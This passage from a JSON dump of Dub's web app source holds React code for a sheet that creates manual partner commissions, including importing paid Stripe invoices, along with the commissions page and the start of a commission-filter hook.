\"amount\",\n    \"linkId\",\n    \"customerId\",\n    \"saleEventDate\",\n    \"saleAmount\",\n    \"leadEventDate\",\n    \"description\",\n  ]);\n\n  const { rewards } = useRewards();\n  const hasLeadRewards = rewards?.some((reward) => reward.event === \"lead\");\n\n  const commissionTypeOptions = [\n    {\n      value: \"custom\",\n      label: \"One-time\",\n      description:\n        \"Pay a one-time commission to a partner (e.g. bonuses, reimbursements, etc.)\",\n    },\n    ...(hasLeadRewards\n      ? [\n          {\n            value: \"lead\",\n            label: \"Lead\",\n            description: \"Reward a partner for a qualified signup/referral.\",\n          },\n        ]\n      : []),\n    {\n      value: \"sale\",\n      label: \"Recurring sale\",\n      description:\n        \"Reward a partner for a recurring subscription from a referred customer.\",\n    },\n  ];\n\n  const eventSourceOptions = [\n    {\n      value: \"new\",\n      label: \"Create new event\",\n      description:\n        \"Create a new sale event for the partner (e.g. for one-time purchases)\",\n    },\n    {\n      value: \"existing\",\n      label: \"Import from Stripe\",\n      description:\n        \"Fetch the customer's paid invoices from Stripe (e.g. for recurring subscriptions)\",\n    },\n  ];\n\n  // Fetch Stripe invoices when customer is selected and we're using existing events\n  const {\n    data: stripeInvoicesData,\n    isLoading: isStripeInvoicesLoading,\n    error: stripeInvoicesError,\n  } = useSWR(\n    customerId && useExistingEvents && commissionType === \"sale\" && workspaceId\n      ? `/api/customers/${customerId}/stripe-invoices?workspaceId=${workspaceId}`\n      : null,\n    fetcherStripeInvoices,\n  );\n\n  const stripeInvoices = stripeInvoicesData?.invoices ?? [];\n  const unimportedStripeInvoices = stripeInvoices.filter(\n    (inv) => !inv.dubCommissionId,\n  );\n  const noStripeCustomerId = stripeInvoicesData?.noStripeCustomerId ?? false;\n  const noStripeCustomerMessage = stripeInvoicesData?.message;\n\n  useEffect(() => {\n    if (commissionType === \"custom\") {\n      setValue(\"linkId\", null);\n    }\n  }, [commissionType, setValue]);\n\n  useEffect(() => {\n    if (!hasCustomLeadEventDate) {\n      setValue(\"leadEventDate\", null);\n    }\n  }, [hasCustomLeadEventDate, setValue]);\n\n  useEffect(() => {\n    if (!hasDate) {\n      setValue(\"date\", null);\n    }\n  }, [hasDate, setValue]);\n\n  useEffect(() => {\n    if (!hasSaleEventDate) {\n      setValue(\"saleEventDate\", null);\n    }\n  }, [hasSaleEventDate, setValue]);\n\n  useEffect(() => {\n    if (commissionType === \"custom\") {\n      setOpenAccordions([\"partner-and-type\", \"commission\"]);\n    } else {\n      setOpenAccordions([\"partner-and-type\", \"customer-and-commission\"]);\n    }\n  }, [commissionType]);\n\n  const { executeAsync, isPending } = useAction(createManualCommissionAction, {\n    onSuccess: async () => {\n      toast.success(\"A commission has been created for the partner!\");\n      setIsOpen(false);\n      await mutatePrefix(`/api/commissions?workspaceId=${workspaceId}`);\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async (data: FormData) => {\n    if (!workspaceId || !defaultProgramId) {\n      toast.error(\"Please fill all required fields.\");\n      return;\n    }\n\n    const date = data.date ? new Date(data.date).toISOString() : null;\n\n    const saleEventDate = data.saleEventDate\n      ? new Date(data.saleEventDate).toISOString()\n      : null;\n\n    const leadEventDate = data.leadEventDate\n      ? new Date(data.leadEventDate).toISOString()\n      : null;\n\n    await executeAsync({\n      ...data,\n      commissionType,\n      partnerId,\n      workspaceId,\n      date,\n      amount: data.amount ? data.amount * 100 : null,\n      saleAmount: data.saleAmount ? data.saleAmount * 100 : null,\n      saleEventDate,\n      leadEventDate,\n      useExistingEvents,\n    });\n  };\n\n  const submitDisabledMessage = useMemo(() => {\n    if (!partnerId) {\n      return \"You need to select a partner first before you can create a commission.\";\n    }\n\n    if (commissionType === \"custom\") {\n      return !amount\n        ? \"You need to enter an amount for the commission.\"\n        : undefined;\n    }\n\n    if (!linkId || !customerId) {\n      return \"You need to select a customer and a link first before you can create a commission.\";\n    }\n\n    if (commissionType === \"sale\") {\n      if (useExistingEvents) {\n        if (isStripeInvoicesLoading) {\n          return \"Loading Stripe invoices...\";\n        }\n\n        if (noStripeCustomerId) {\n          return \"This customer doesn't have a Stripe customer ID. Add one in the customer profile before proceeding.\";\n        }\n\n        if (unimportedStripeInvoices.length === 0) {\n          return \"No unimported Stripe invoices found for this customer.\";\n        }\n      } else {\n        if (!saleAmount) {\n          return \"You need to enter a sale amount for the commission.\";\n        }\n      }\n    }\n\n    return false;\n  }, [\n    commissionType,\n    partnerId,\n    linkId,\n    customerId,\n    amount, // custom commission amount\n    saleAmount, // sale commission amount\n    useExistingEvents,\n    noStripeCustomerId,\n    unimportedStripeInvoices.length,\n    isStripeInvoicesLoading,\n  ]);\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"flex h-full flex-col\">\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            Create commission\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n\n      <div className=\"flex-1 overflow-y-auto\">\n        <div className=\"p-6\">\n          <ProgramSheetAccordion\n            type=\"multiple\"\n            value={openAccordions}\n            onValueChange={(value) =>\n              setOpenAccordions(value as AccordionValue[])\n            }\n            className=\"space-y-6\"\n          >\n            <ProgramSheetAccordionItem value=\"partner-and-type\">\n              <ProgramSheetAccordionTrigger>\n                Partner and commission type\n              </ProgramSheetAccordionTrigger>\n              <ProgramSheetAccordionContent>\n                <div className=\"grid grid-cols-1 gap-6\">\n                  <div>\n                    <label\n                      htmlFor=\"partnerId\"\n                      className=\"flex items-center space-x-2\"\n                    >\n                      <h2 className=\"text-sm font-medium text-neutral-900\">\n                        Partner\n                      </h2>\n                    </label>\n                    <div className=\"relative mt-2 rounded-md shadow-sm\">\n                      <PartnerSelector\n                        selectedPartnerId={partnerId}\n                        setSelectedPartnerId={(id) => setValue(\"partnerId\", id)}\n                      />\n                    </div>\n                  </div>\n\n                  <div>\n                    <label htmlFor=\"commissionType\">\n                      <h2 className=\"text-sm font-medium text-neutral-900\">\n                        Commission type\n                      </h2>\n                    </label>\n                    <ToggleGroup\n                      className=\"mt-2 flex w-full items-center gap-1 rounded-md border border-neutral-200 bg-neutral-50 p-1\"\n                      optionClassName=\"h-8 flex items-center justify-center rounded-md flex-1 text-sm normal-case\"\n                      indicatorClassName=\"bg-white\"\n                      options={commissionTypeOptions}\n                      selected={commissionType}\n                      selectAction={(id: CommissionType) =>\n                        setCommissionType(id)\n                      }\n                    />\n                    <p className=\"mt-2 text-xs text-neutral-500\">\n                      {\n                        commissionTypeOptions.find(\n                          (option) => option.value === commissionType,\n                        )?.description\n                      }\n                    </p>\n                  </div>\n\n                  {commissionType !== \"custom\" && (\n                    <AnimatedSizeContainer\n                      height\n                      transition={{ ease: \"easeInOut\", duration: 0.2 }}\n                      style={{\n                        height:\n                          commissionType === \"lead\" || commissionType === \"sale\"\n                            ? \"auto\"\n                            : \"0px\",\n                        overflow: \"hidden\",\n                      }}\n                    >\n                      <div>\n                        <label\n                          htmlFor=\"linkId\"\n                          className=\"flex items-center space-x-2\"\n                        >\n                          <h2 className=\"text-sm font-medium text-neutral-900\">\n                            Referral link\n                          </h2>\n                        </label>\n                        <div className=\"mt-2 p-px\">\n                          <PartnerLinkSelector\n                            selectedLinkId={linkId ?? null}\n                            showDestinationUrl={false}\n                            partnerId={partnerId}\n                            setSelectedLinkId={(id) =>\n                              setValue(\"linkId\", id, { shouldDirty: true })\n                            }\n                            disabledTooltip={\n                              !partnerId\n                                ? \"You need to select a partner first before you can select a link\"\n                                : undefined\n                            }\n                          />\n                        </div>\n                      </div>\n                    </AnimatedSizeContainer>\n                  )}\n                </div>\n              </ProgramSheetAccordionContent>\n            </ProgramSheetAccordionItem>\n\n            {commissionType === \"custom\" && (\n              <ProgramSheetAccordionItem value=\"commission\">\n                <ProgramSheetAccordionTrigger>\n                  Commission\n                </ProgramSheetAccordionTrigger>\n                <ProgramSheetAccordionContent>\n                  <div className=\"grid grid-cols-1 gap-6\">\n                    <div>\n                      <label\n                        htmlFor=\"amount\"\n                        className=\"text-sm font-medium text-neutral-800\"\n                      >\n                        Amount\n                      </label>\n                      <div className=\"relative mt-2 rounded-md shadow-sm\">\n                        <span className=\"absolute inset-y-0 left-0 flex items-center pl-3 text-sm text-neutral-400\">\n                          $\n                        </span>\n                        <Controller\n                          name=\"amount\"\n                          control={control}\n                          rules={{\n                            required: true,\n                            min: 0,\n                          }}\n                          render={({ field }) => (\n                            <input\n                              {...field}\n                              type=\"number\"\n                              onWheel={(e) => e.currentTarget.blur()}\n                              className={cn(\n                                \"block w-full rounded-md border-neutral-300 pl-6 pr-12 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                                errors.amount &&\n                                  \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                              )}\n                              value={\n                                field.value == null || isNaN(field.value)\n                                  ? \"\"\n                                  : field.value\n                              }\n                              onChange={(e) => {\n                                const val = e.target.value;\n                                field.onChange(\n                                  val === \"\" ? null : parseFloat(val),\n                                );\n                              }}\n                              onKeyDown={handleMoneyKeyDown}\n                              placeholder=\"0.00\"\n                            />\n                          )}\n                        />\n                        <span className=\"absolute inset-y-0 right-0 flex items-center pr-3 text-sm text-neutral-400\">\n                          USD\n                        </span>\n                      </div>\n                    </div>\n\n                    <div>\n                      <div className=\"flex items-center justify-between\">\n                        <label\n                          htmlFor=\"description\"\n                          className=\"text-sm font-medium text-neutral-800\"\n                        >\n                          Description\n                          <span className=\"font-normal text-neutral-500\">\n                            {\" \"}\n                            (optional)\n                          </span>\n                        </label>\n                        <span className=\"text-xs text-neutral-400\">\n                          {description?.length || 0}/190\n                        </span>\n                      </div>\n                      <div className=\"mt-2\">\n                        <textarea\n                          id=\"description\"\n                          rows={3}\n                          maxLength={190}\n                          className={cn(\n                            \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                            errors.description &&\n                              \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                          )}\n                          placeholder=\"Add a description for this commission\"\n                          {...register(\"description\", {\n                            setValueAs: (value) =>\n                              value === \"\" ? null : value,\n                          })}\n                        />\n                      </div>\n                    </div>\n\n                    <div>\n                      <div className=\"flex items-center gap-4\">\n                        <Switch\n                          fn={setHasDate}\n                          checked={hasDate}\n                          trackDimensions=\"w-8 h-4\"\n                          thumbDimensions=\"w-3 h-3\"\n                          thumbTranslate=\"translate-x-4\"\n                        />\n                        <h3 className=\"text-sm font-medium text-neutral-700\">\n                          Add a custom date\n                        </h3>\n                      </div>\n\n                      {hasDate && (\n                        <div className=\"mt-4\">\n                          <SmartDateTimePicker\n                            value={date}\n                            onChange={(date) => {\n                              setValue(\"date\", date, {\n                                shouldDirty: true,\n                              });\n                            }}\n                            label=\"Custom date\"\n                            placeholder='E.g. \"2024-03-01\", \"Last Thursday\", \"2 hours ago\"'\n                          />\n                        </div>\n                      )}\n                    </div>\n                  </div>\n                </ProgramSheetAccordionContent>\n              </ProgramSheetAccordionItem>\n            )}\n\n            {(commissionType === \"sale\" || commissionType === \"lead\") && (\n              <ProgramSheetAccordionItem value=\"customer-and-commission\">\n                <ProgramSheetAccordionTrigger>\n                  Customer and commission details\n                </ProgramSheetAccordionTrigger>\n                <ProgramSheetAccordionContent>\n                  <div className=\"grid grid-cols-1 gap-6\">\n                    <div>\n                      <label\n                        htmlFor=\"name\"\n                        className=\"flex items-center space-x-2\"\n                      >\n                        <h2 className=\"text-sm font-medium text-neutral-900\">\n                          Customer\n                        </h2>\n                      </label>\n                      <div className=\"mt-2\">\n                        <CustomerSelector\n                          selectedCustomerId={customerId ?? \"\"}\n                          setSelectedCustomerId={(id) => {\n                            setValue(\"customerId\", id, { shouldDirty: true });\n                          }}\n                        />\n                      </div>\n                    </div>\n\n                    {customerId && commissionType === \"sale\" && (\n                      <div>\n                        <label htmlFor=\"eventSource\">\n                          <h2 className=\"text-sm font-medium text-neutral-900\">\n                            Event source\n                          </h2>\n                        </label>\n                        <ToggleGroup\n                          className=\"mt-2 flex w-full items-center gap-1 rounded-lg border border-neutral-200 bg-neutral-50 p-1\"\n                          optionClassName=\"h-8 flex items-center justify-center rounded-md flex-1 text-sm normal-case\"\n                          indicatorClassName=\"bg-white\"\n                          options={eventSourceOptions}\n                          selected={useExistingEvents ? \"existing\" : \"new\"}\n                          selectAction={(value: string) =>\n                            setUseExistingEvents(value === \"existing\")\n                          }\n                        />\n                        <p className=\"mt-2 text-xs text-neutral-500\">\n                          {\n                            eventSourceOptions.find(\n                              (option) =>\n                                option.value ===\n                                (useExistingEvents ? \"existing\" : \"new\"),\n                            )?.description\n                          }\n                        </p>\n                      </div>\n                    )}\n\n                    {/* Stripe invoices for sale + use existing */}\n                    {customerId &&\n                      useExistingEvents &&\n                      commissionType === \"sale\" && (\n                        <div className=\"space-y-3\">\n                          {isStripeInvoicesLoading ? (\n                            <div className=\"flex h-40 items-center justify-center rounded-lg border border-neutral-200 bg-neutral-50/50\">\n                              <LoadingSpinner />\n                            </div>\n                          ) : noStripeCustomerId ? (\n                            <div className=\"rounded-lg border border-amber-200 bg-amber-50/80 p-4\">\n                              <p className=\"text-sm font-medium text-amber-800\">\n                                No Stripe customer ID\n                              </p>\n                              <p className=\"mt-1 text-xs text-amber-700\">\n                                {noStripeCustomerMessage ??\n                                  \"This customer doesn't have a Stripe customer ID. Add one in the customer profile to use paid Stripe invoices here.\"}\n                              </p>\n                              <a\n                                href={`/${slug}/program/customers/${customerId}`}\n                                target=\"_blank\"\n                                className=\"mt-2 inline-block text-xs font-medium text-amber-800 underline hover:no-underline\"\n                              >\n                                Open customer profile →\n                              </a>\n                            </div>\n                          ) : stripeInvoicesError ? (\n                            <div className=\"rounded-lg border border-red-200 bg-red-50/80 p-4 text-sm text-red-800\">\n                              Failed to load invoices. Try again.\n                            </div>\n                          ) : stripeInvoices.length === 0 ? (\n                            <div className=\"flex h-24 flex-col items-center justify-center rounded-lg border border-neutral-200 bg-neutral-50/30 text-center\">\n                              <p className=\"text-sm font-medium text-neutral-600\">\n                                No paid invoices found\n                              </p>\n                              <p className=\"mt-0.5 text-xs text-neutral-500\">\n                                This customer has no paid invoices in Stripe.\n                              </p>\n                            </div>\n                          ) : (\n                            <div className=\"overflow-hidden rounded-lg border border-neutral-200 bg-white shadow-sm\">\n                              <div className=\"border-b border-neutral-100 bg-neutral-50/80 px-3 py-2\">\n                                <p className=\"text-xs font-medium text-neutral-500\">\n                                  Paid invoices ({stripeInvoices.length})\n                                </p>\n                              </div>\n                              <div className=\"max-h-96 overflow-y-auto p-1.5\">\n                                {stripeInvoices.map((inv) => (\n                                  <div\n                                    key={inv.id}\n                                    className={cn(\n                                      \"flex items-center justify-between gap-3 rounded-md px-3 py-2.5\",\n                                      inv.dubCommissionId &&\n                                        \"bg-neutral-50/80 opacity-75\",\n                                    )}\n                                  >\n                                    <div className=\"min-w-0 flex-1\">\n                                      <a\n                                        href={`https://dashboard.stripe.com/invoices/${inv.id}`}\n                                        target=\"_blank\"\n                                        rel=\"noopener noreferrer\"\n                                        className={cn(\n                                          \"cursor-alias font-mono text-sm font-medium decoration-dotted underline-offset-2 hover:underline\",\n                                          inv.dubCommissionId\n                                            ? \"text-neutral-500\"\n                                            : \"text-neutral-800\",\n                                        )}\n                                      >\n                                        {inv.id}\n                                      </a>\n                                      <p className=\"mt-0.5 flex flex-wrap items-center gap-x-2 text-xs text-neutral-500\">\n                                        {formatDate(inv.createdAt)}\n                                        {inv.dubCommissionId && (\n                                          <a\n                                            href={`/${slug}/program/commissions?partnerId=${partnerId}&customerId=${customerId}`}\n                                            target=\"_blank\"\n                                            className=\"rounded bg-neutral-200/80 px-1.5 py-0.5 text-neutral-500 hover:bg-neutral-200 hover:text-neutral-900\"\n                                          >\n                                            Already imported\n                                          </a>\n                                        )}\n                                      </p>\n                                    </div>\n                                    <span\n                                      className={cn(\n                                        \"shrink-0 text-sm font-medium\",\n                                        inv.dubCommissionId\n                                          ? \"text-neutral-500\"\n                                          : \"text-neutral-700\",\n                                      )}\n                                    >\n                                      {currencyFormatter(inv.amount)}\n                                    </span>\n                                  </div>\n                                ))}\n                              </div>\n                            </div>\n                          )}\n                        </div>\n                      )}\n\n                    {customerId &&\n                      !useExistingEvents &&\n                      (commissionType === \"lead\" ? (\n                        <>\n                          <AnimatedSizeContainer\n                            height\n                            transition={{ ease: \"easeInOut\", duration: 0.2 }}\n                            style={{\n                              height: hasCustomLeadEventDate ? \"auto\" : \"0px\",\n                              overflow: \"hidden\",\n                            }}\n                          >\n                            <div className=\"flex flex-col gap-6\">\n                              <div className=\"flex items-center gap-4\">\n                                <Switch\n                                  fn={setHasCustomLeadEventDate}\n                                  checked={hasCustomLeadEventDate}\n                                  trackDimensions=\"w-8 h-4\"\n                                  thumbDimensions=\"w-3 h-3\"\n                                  thumbTranslate=\"translate-x-4\"\n                                />\n                                <div className=\"flex flex-col gap-1\">\n                                  <h3 className=\"text-sm font-medium text-neutral-700\">\n                                    Set a custom lead event date\n                                  </h3>\n                                </div>\n                              </div>\n\n                              {hasCustomLeadEventDate && (\n                                <div className=\"p-px\">\n                                  <SmartDateTimePicker\n                                    value={leadEventDate}\n                                    onChange={(date) => {\n                                      setValue(\"leadEventDate\", date, {\n                                        shouldDirty: true,\n                                      });\n                                    }}\n                                    label=\"Lead event date\"\n                                    placeholder='E.g. \"2024-03-01\", \"Last Thursday\", \"2 hours ago\"'\n                                  />\n                                </div>\n                              )}\n                            </div>\n                          </AnimatedSizeContainer>\n                          <AnimatedSizeContainer\n                            height\n                            transition={{ ease: \"easeInOut\", duration: 0.2 }}\n                            style={{\n                              height: hasCustomLeadEventName ? \"auto\" : \"0px\",\n                              overflow: \"hidden\",\n                            }}\n                          >\n                            <div className=\"flex flex-col gap-6\">\n                              <div className=\"flex items-center gap-4\">\n                                <Switch\n                                  fn={setHasCustomLeadEventName}\n                                  checked={hasCustomLeadEventName}\n                                  trackDimensions=\"w-8 h-4\"\n                                  thumbDimensions=\"w-3 h-3\"\n                                  thumbTranslate=\"translate-x-4\"\n                                />\n                                <div className=\"flex flex-col gap-1\">\n                                  <h3 className=\"text-sm font-medium text-neutral-700\">\n                                    Set a custom lead event name\n                                  </h3>\n                                </div>\n                              </div>\n\n                              {hasCustomLeadEventName && (\n                                <div className=\"p-px\">\n                                  <label\n                                    htmlFor=\"leadEventName\"\n                                    className=\"block text-sm font-medium text-neutral-900\"\n                                  >\n                                    Lead event name\n                                  </label>\n                                  <input\n                                    id=\"leadEventName\"\n                                    type=\"text\"\n                                    className={cn(\n                                      \"mt-2 block w-full rounded-md border-neutral-300 px-3 py-2 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                                      errors.leadEventName &&\n                                        \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                                    )}\n                                    {...register(\"leadEventName\", {\n                                      setValueAs: (value) =>\n                                        value === \"\" ? null : value,\n                                    })}\n                                    placeholder=\"Sign up\"\n                                  />\n                                </div>\n                              )}\n                            </div>\n                          </AnimatedSizeContainer>\n                        </>\n                      ) : commissionType === \"sale\" ? (\n                        <div className=\"grid grid-cols-1 gap-6\">\n                          <div>\n                            <label\n                              htmlFor=\"saleAmount\"\n                              className=\"flex items-center space-x-2\"\n                            >\n                              <h2 className=\"text-sm font-medium text-neutral-900\">\n                                Sale amount\n                              </h2>\n                            </label>\n                            <div className=\"relative mt-2 rounded-md shadow-sm\">\n                              <span className=\"absolute inset-y-0 left-0 flex items-center pl-3 text-sm text-neutral-400\">\n                                $\n                              </span>\n                              <Controller\n                                name=\"saleAmount\"\n                                control={control}\n                                rules={{\n                                  min: 0,\n                                }}\n                                render={({ field }) => (\n                                  <input\n                                    {...field}\n                                    type=\"number\"\n                                    onWheel={(e) => e.currentTarget.blur()}\n                                    className={cn(\n                                      \"block w-full rounded-md border-neutral-300 pl-6 pr-12 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                                      errors.saleAmount &&\n                                        \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                                    )}\n                                    value={\n                                      field.value == null || isNaN(field.value)\n                                        ? \"\"\n                                        : field.value\n                                    }\n                                    onChange={(e) => {\n                                      const val = e.target.value;\n                                      field.onChange(\n                                        val === \"\" ? null : parseFloat(val),\n                                      );\n                                    }}\n                                    placeholder=\"0.00\"\n                                  />\n                                )}\n                              />\n                              <span className=\"absolute inset-y-0 right-0 flex items-center pr-3 text-sm text-neutral-400\">\n                                USD\n                              </span>\n                            </div>\n                          </div>\n\n                          <div>\n                            <div className=\"flex items-center gap-4\">\n                              <Switch\n                                fn={setHasSaleEventDate}\n                                checked={hasSaleEventDate}\n                                trackDimensions=\"w-8 h-4\"\n                                thumbDimensions=\"w-3 h-3\"\n                                thumbTranslate=\"translate-x-4\"\n                              />\n                              <h3 className=\"text-sm font-medium text-neutral-700\">\n                                Add sale date\n                              </h3>\n                            </div>\n\n                            {hasSaleEventDate && (\n                              <div className=\"mt-4\">\n                                <SmartDateTimePicker\n                                  value={saleEventDate}\n                                  onChange={(date) => {\n                                    setValue(\"saleEventDate\", date, {\n                                      shouldDirty: true,\n                                    });\n                                  }}\n                                  label=\"Sale date\"\n                                  placeholder='E.g. \"2024-03-01\", \"Last Thursday\", \"2 hours ago\"'\n                                />\n                              </div>\n                            )}\n                          </div>\n\n                          <div>\n                            <div className=\"flex items-center gap-4\">\n                              <Switch\n                                fn={setHasInvoiceId}\n                                checked={hasInvoiceId}\n                                trackDimensions=\"w-8 h-4\"\n                                thumbDimensions=\"w-3 h-3\"\n                                thumbTranslate=\"translate-x-4\"\n                              />\n                              <div className=\"flex gap-1\">\n                                <h3 className=\"text-sm font-medium text-neutral-700\">\n                                  Add{\" \"}\n                                </h3>\n                                <span className=\"rounded-md border border-neutral-200 bg-neutral-100 px-1 py-0.5 text-xs\">\n                                  invoiceID\n                                </span>\n                              </div>\n                            </div>\n\n                            {hasInvoiceId && (\n                              <div className=\"mt-4\">\n                                <label\n                                  htmlFor=\"invoiceId\"\n                                  className=\"flex items-center space-x-2\"\n                                >\n                                  <h2 className=\"text-sm font-medium text-neutral-900\">\n                                    Invoice ID\n                                  </h2>\n                                </label>\n                                <div className=\"mt-2 p-px\">\n                                  <input\n                                    type=\"text\"\n                                    id=\"invoiceId\"\n                                    className={cn(\n                                      \"block w-full rounded-md border-neutral-300 px-3 py-2 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                                      errors.invoiceId &&\n                                        \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                                    )}\n                                    {...register(\"invoiceId\", {\n                                      required: hasInvoiceId,\n                                      setValueAs: (value) =>\n                                        value === \"\" ? null : value,\n                                    })}\n                                    placeholder=\"Enter invoice ID\"\n                                  />\n                                </div>\n                              </div>\n                            )}\n                          </div>\n\n                          <div>\n                            <div className=\"flex items-center gap-4\">\n                              <Switch\n                                fn={setHasProductId}\n                                checked={hasProductId}\n                                trackDimensions=\"w-8 h-4\"\n                                thumbDimensions=\"w-3 h-3\"\n                                thumbTranslate=\"translate-x-4\"\n                              />\n                              <div className=\"flex gap-1\">\n                                <h3 className=\"text-sm font-medium text-neutral-700\">\n                                  Add{\" \"}\n                                </h3>\n                                <span className=\"rounded-md border border-neutral-200 bg-neutral-100 px-1 py-0.5 text-xs\">\n                                  productID\n                                </span>\n                              </div>\n                            </div>\n\n                            {hasProductId && (\n                              <div className=\"mt-4\">\n                                <label\n                                  htmlFor=\"productId\"\n                                  className=\"flex items-center space-x-2\"\n                                >\n                                  <h2 className=\"text-sm font-medium text-neutral-900\">\n                                    Product ID\n                                  </h2>\n                                </label>\n                                <div className=\"mt-2 p-px\">\n                                  <input\n                                    type=\"text\"\n                                    id=\"productId\"\n                                    className={cn(\n                                      \"block w-full rounded-md border-neutral-300 px-3 py-2 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                                      errors.productId &&\n                                        \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                                    )}\n                                    {...register(\"productId\", {\n                                      required: hasProductId,\n                                      setValueAs: (value) =>\n                                        value === \"\" ? null : value,\n                                    })}\n                                    placeholder=\"Enter product ID\"\n                                  />\n                                </div>\n                              </div>\n                            )}\n                          </div>\n                        </div>\n                      ) : null)}\n                  </div>\n                </ProgramSheetAccordionContent>\n              </ProgramSheetAccordionItem>\n            )}\n          </ProgramSheetAccordion>\n        </div>\n      </div>\n\n      <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n        <div className=\"flex items-center justify-end gap-2 p-5\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            onClick={() => setIsOpen(false)}\n            text=\"Cancel\"\n            className=\"w-fit\"\n            disabled={isPending}\n          />\n\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text={`Create commission${unimportedStripeInvoices.length > 0 ? \"s\" : \"\"}`}\n            className=\"w-fit\"\n            loading={isPending}\n            disabledTooltip={submitDisabledMessage}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nexport function CreateCommissionSheet({\n  isOpen,\n  nested,\n  ...rest\n}: CreateCommissionSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen} nested={nested}>\n      <CreateCommissionSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useCreateCommissionSheet(\n  props: { nested?: boolean } & Omit<CreateCommissionSheetProps, \"setIsOpen\">,\n) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    createCommissionSheet: (\n      <CreateCommissionSheet setIsOpen={setIsOpen} isOpen={isOpen} {...props} />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/page.tsx",
    "content": "\"use client\";\n\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { CommissionPopoverButtons } from \"./commission-popover-buttons\";\nimport { CommissionsStats } from \"./commissions-stats\";\nimport { CommissionsTable } from \"./commissions-table\";\nimport { CreateCommissionButton } from \"./create-commission-button\";\n\nexport default function ProgramCommissions() {\n  return (\n    <PageContent\n      title=\"Commissions\"\n      titleInfo={{\n        title:\n          \"Learn how partner commissions work on Dub, and how to create manual commissions or clawbacks.\",\n        href: \"https://dub.co/help/article/partner-commissions-clawbacks\",\n      }}\n      controls={\n        <>\n          <CreateCommissionButton />\n          <CommissionPopoverButtons />\n        </>\n      }\n    >\n      <PageWidthWrapper>\n        <CommissionsStats />\n        <div className=\"mt-6\">\n          <CommissionsTable />\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/use-commission-filters.tsx",
    "content": "import useCommissionsCount from \"@/lib/swr/use-commissions-count\";\nimport useCustomers from \"@/lib/swr/use-customers\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport usePartners from \"@/lib/swr/use-partners\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CustomerProps, EnrolledPartnerProps } from \"@/lib/types\";\nimport { CustomerAvatar } from \"@/ui/customers/customer-avatar\";\nimport { CommissionTypeIcon } from \"@/ui/partners/comission-type-icon\";\nimport { CommissionStatusBadges } from \"@/ui/partners/commission-status-badges\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { CommissionType } from \"@dub/prisma/client\";\nimport { CircleDotted, useRouterStuff } from \"@dub/ui\";\nimport { Sliders, User, Users, Users6 } from \"@dub/ui/icons\";\nimport { capitalize, cn, nFormatter } from \"@dub/utils\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\n\nexport function useCommissionFilters() {\n  const { slug } = useWorkspace();\n  const { commissionsCount } = useCommissionsCount({ exclude: [\"status\"] });\n  const { searchParamsObj, queryParams } = useRouterStuff();\n\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  const { partners } = usePartnerFilterOptions(\n    selectedFilter === \"partnerId\" ? debouncedSearch : \"\",\n  );\n\n  const { customers } = useCustomerFilterOptions(\n    selectedFilter === \"customerId\" ? debouncedSearch : \"\",\n  );\n\n  const { groups } = useGroups();\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"customerId\",\n        icon: User,\n        label: \"Customer\",\n        shouldFilter: false,\n        options:\n          customers?.map((customer) => {\n            return {\n              value: customer.id,\n              label: customer.email ?? customer.name,\n              icon: <CustomerAvatar customer={customer} className=\"size-4\" />,\n            };\n          }) ?? null,\n      },\n      {\n        key: \"partnerId\",\n        icon: Users,\n        label: \"Partner\",\n        shouldFilter: false,\n        options:\n          partners?.map((partner) => {\n            return {\n              value: partner.id,\n              label: partner.name,\n              icon: <PartnerAvatar partner={partner} className=\"size-4\" />,\n            };\n          }) ?? null,\n      },\n      {\n        key: \"groupId\",\n        icon: Users6,\n        label: \"Partner Group\",\n        